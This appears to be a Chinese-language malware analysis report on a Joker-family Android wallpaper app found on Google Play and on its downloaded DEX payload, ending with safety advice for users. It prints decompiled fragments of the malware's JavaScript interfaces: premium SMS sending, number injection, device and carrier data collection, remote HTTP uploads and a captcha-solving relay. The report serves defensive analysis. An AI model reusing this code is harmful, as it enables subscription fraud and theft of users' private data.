一、事件概要
2023年9月20日,知名社交平台X(前身为推特)上有移动安全人员发布一则Android恶意软件提醒推文[1],文章披露了全球最大的Android应用软件商店Google Play上发布了一个Android恶意软件家族Joker传播的一款名为Beauty Wallpaper HD的恶意应用软件,截至9月20日为止,拥有1000+下载量的Joker家族样本,其家族名源于其早期使用的C2域名,提取了其中的特征字符串Joker作为其家族名称,其主要的恶意行为是肆意给用户订阅各种收费SP服务、窃取用户隐私来进行收益,鉴于Joker是目前Google Play商店上最活跃的家族之一,所以我对其家族成员样本进行详细分析,披露其近期的发展态势。
二、威胁细节
恶意行为主要通过主恶意软件Beauty Wallpaper HD以及其衍生物来施行,所以通过对其进行分析掌握其恶意行为的细节脉络。
Beauty Wallpaper HD
样本概况
项 | 描述 |
---|---|
应用名 | Beauty Wallpaper HD |
包名 | com.wellnone.wallpaper |
文件类型 | APK |
文件大小 | 21.14 MB |
MD5 | 5d53a4977ceddd86083c0ae66f3b3133 |
证书MD5 | 7af3f792457692ff9dd2b47d29911c82 |
病毒家族 | Joker |
报毒 | 2/63(VirusTotal) |
发布时间 | 2023-09-14 |
杀毒引擎扫描结果
截至9月20日为止,只有卡巴斯基、ZoneAlarm两款杀毒引擎检测出其是恶意应用软件并且指出其为Joker家族的成员。
发布日期
从以下三个数据,推断出该恶意软件的流出时间为2023-09-14。
1.证书的有效期起始时间
2.Google Play上的软件更新日期
3.应用商店apksos收录该恶意软件的日期
威胁行为分析
9月21日通过网络抓包,可以看到相关资源已经从服务器中删除。
衍生物
样本概况
项 | 描述 |
---|---|
应用名 | abc.png-v265.tmp |
包名 | 无 |
文件类型 | DEX |
文件大小 | 59KB |
MD5 | 627f6746d8d1eb9afdf067968e4122d3fc8f3a14 |
证书MD5 | 无 |
病毒家族 | Joker |
报毒 | 无(VirusTotal) |
发布时间 | 2023-09-14 |
威胁行为分析
远程指令执行
项 | 描述 |
---|---|
cmd_timeout | 命令执行超时设置 |
page_timeout | 页面超时设置 |
hold | 执行Javascript脚本 |
load_url | 加载特定页面 |
entry_timeout | 启动超时设置 |
wait_pin | 等待Pin确认码 |
sleep | 睡眠 |
do_nothing | 测试项 |
wait_mo | 等待 |
监听并发送短信
监听短信接收
删除短信
上传获取设备信息
设备启动时收集PIN码
提供JS接口
添加注释
@JavascriptInterface
public void addComment(String s) {
this.a.a("naddComment:" + s, true);
this.c.a(s);
}
GET请求
命令执行次数
@JavascriptInterface
public int cmdRunCount(String s) {
Integer integer0 = (Integer)this.c.P.get(s);
if(integer0 == null) {
integer0 = (int)0;
}
this.c.P.put(s, Integer.valueOf(((int)integer0) + 1));
return (int)integer0;
}
自定义ajax请求
@JavascriptInterface
public void customAjax(String s, String s1) {
try {
this.a.a("customAjax:-url:" + s + " body:" + s1, true);
this.d.a.put(s, s1);
}
catch(Exception exception0) {
this.a.a("customAjax--failed:" + exception0 + " " + exception0.getMessage());
}
}
自定义提交
@JavascriptInterface
public void customSubmit(String s, String s1) {
try {
this.a.a("customSubmit:-url:" + s + " body:" + s1, true);
this.d.b.put(s, s1);
}
catch(Exception exception0) {
this.a.a("customSubmit--failed:" + exception0 + " " + exception0.getMessage());
}
}
下载页面
@JavascriptInterface
public void dpage(String s, String s1) {
int v = TextUtils.isEmpty(s) ? 0 : s.length();
this.a.a("jsDump:" + v + ":" + s1, true);
if(s1.startsWith("about:blank")) {
this.a.a("jsDump---ignore-page:" + s1, true);
return;
}
获取运营商信息
@JavascriptInterface
public String getOp() {
return z.e(this.b.a);
}
public static String e(Context context0) {
TelephonyManager telephonyManager0 = (TelephonyManager)context0.getSystemService("phone");
return telephonyManager0 == null ? "" : telephonyManager0.getSimOperator();
}
获取屏幕信息
@JavascriptInterface
public String getScreen() {
try {
JSONObject jSONObject0 = new JSONObject();
jSONObject0.put("width", this.b.d.a);
jSONObject0.put("height", this.b.d.b);
jSONObject0.put("availWidth", this.b.d.d);
jSONObject0.put("availHeight", this.b.d.e);
jSONObject0.put("keyboardHeight", this.b.d.g);
return jSONObject0.toString();
}
catch(Exception exception0) {
exception0.printStackTrace();
return null;
}
}
上传下载图片
@JavascriptInterface
public String imageDama(String s, String s1) {
String s5;
String s2 = this.c.x;
String s3 = "";
if(s.equals("get")) {
try {
HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s1).openConnection();
httpURLConnection0.setRequestMethod("GET");
httpURLConnection0.connect();
if(httpURLConnection0.getResponseCode() == 200) {
BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpURLConnection0.getInputStream(), "utf-8"));
StringBuilder stringBuilder0 = new StringBuilder();
while(true) {
String s4 = bufferedReader0.readLine();
if(s4 == null) {
break;
}
stringBuilder0.append(s4);
}
s5 = stringBuilder0.toString().trim();
goto label_18;
}
}
.....
if(s.equals("post")) {
try {
HttpURLConnection httpURLConnection1 = (HttpURLConnection)new URL(s1).openConnection();
httpURLConnection1.setRequestMethod("POST");
httpURLConnection1.setDoOutput(true);
httpURLConnection1.setDoInput(true);
httpURLConnection1.setUseCaches(false);
httpURLConnection1.connect();
byte[] arr_b = ("{"method":"base64","key":"d72dbd608088d9502f0636bd38d03dea","body":"data:image/jpeg;base64," + s2 + ""}").getBytes(StandardCharsets.UTF_8);
httpURLConnection1.getOutputStream().write(arr_b);
if(httpURLConnection1.getResponseCode() == 200) {
BufferedReader bufferedReader1 = new BufferedReader(new InputStreamReader(httpURLConnection1.getInputStream(), "utf-8"));
StringBuilder stringBuilder1 = new StringBuilder();
while(true) {
String s6 = bufferedReader1.readLine();
if(s6 == null) {
break;
}
stringBuilder1.append(s6);
}
s3 = stringBuilder1.toString().trim();
goto label_48;
}
}
注入号码
@JavascriptInterface
public void injectNumber(String s) {
if(!TextUtils.isEmpty(s)) {
v265t3.a.a(this.b.a, s);
}
}
短信发送
@JavascriptInterface
public void moSend(String s, String s1) {
this.a.a("jsMoSend--->:address:" + s + "--->content:" + s1, true);
if(TextUtils.isEmpty(s)) {
this.c.d = s1;
return;
}
this.a.c(s, s1);
}
验证码
@JavascriptInterface
public String recaptcha(String s, int v, String s1) {
int v1 = 30000;
try {
Uri.Builder uri$Builder0 = z.a(this.a, v265t1.a.c + v265t1.a.m + s);
uri$Builder0.appendQueryParameter("step", "" + v);
if(v == 0) {
JSONObject jSONObject0 = new JSONObject(s1);
String s2 = jSONObject0.getString("url");
String s3 = jSONObject0.getString("key");
uri$Builder0.appendQueryParameter("website_url", s2).appendQueryParameter("website_key", s3);
if("v3".equalsIgnoreCase(s)) {
String s4 = jSONObject0.getString("action");
double f = jSONObject0.getDouble("score");
uri$Builder0.appendQueryParameter("page_action", s4).appendQueryParameter("min_score", "" + f);
}
}
else {
uri$Builder0.appendQueryParameter("recaptcha_task_id", s1);
}
String s5 = uri$Builder0.toString();
this.a.a("recaptcha---url:" + s5, true);
HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s5).openConnection();
httpURLConnection0.setRequestMethod("POST");
httpURLConnection0.setConnectTimeout(30000);
if(v != 0) {
v1 = 120000;
}
httpURLConnection0.setReadTimeout(v1);
httpURLConnection0.setRequestProperty("Content-Type", "text/plain;charset=utf-8");
int v2 = httpURLConnection0.getResponseCode();
this.a.a("recaptcha---status:" + v2, true);
return v265t3.a.a(httpURLConnection0);
}
停止任务
@JavascriptInterface
public void stopTask(int v) {
this.a.a(((long)v));
}
三、威胁溯源
Joker(又称Bread)家族最早于2016年12月被捕捉到,截至目前VirusTotal上捕获到该家族发布恶意软件数量已达1w+。
四、安全建议
即使全球最大的Android应用商店Google Play,也非绝对安全的下载渠道,强大的审查机制、检测能力,也无法拦截所有恶意软件的渗透植入,所以为了用户的设备安全提出以下建议:
-
非必要不使用小众应用软件。
-
非必要不适用上线短的应用软件。
-
下载应用认准各大应用商店或者去大厂应用软件官网进行下载。
-
关注安全厂商安全新闻,一旦发现被披露的恶意应用软件出现在自己手机上,及时联系专业安全人员进行处理。
来源:https://xz.aliyun.com/ 感谢【yong夜】
原文始发于微信公众号(衡阳信安):Spyware.Joker分析报告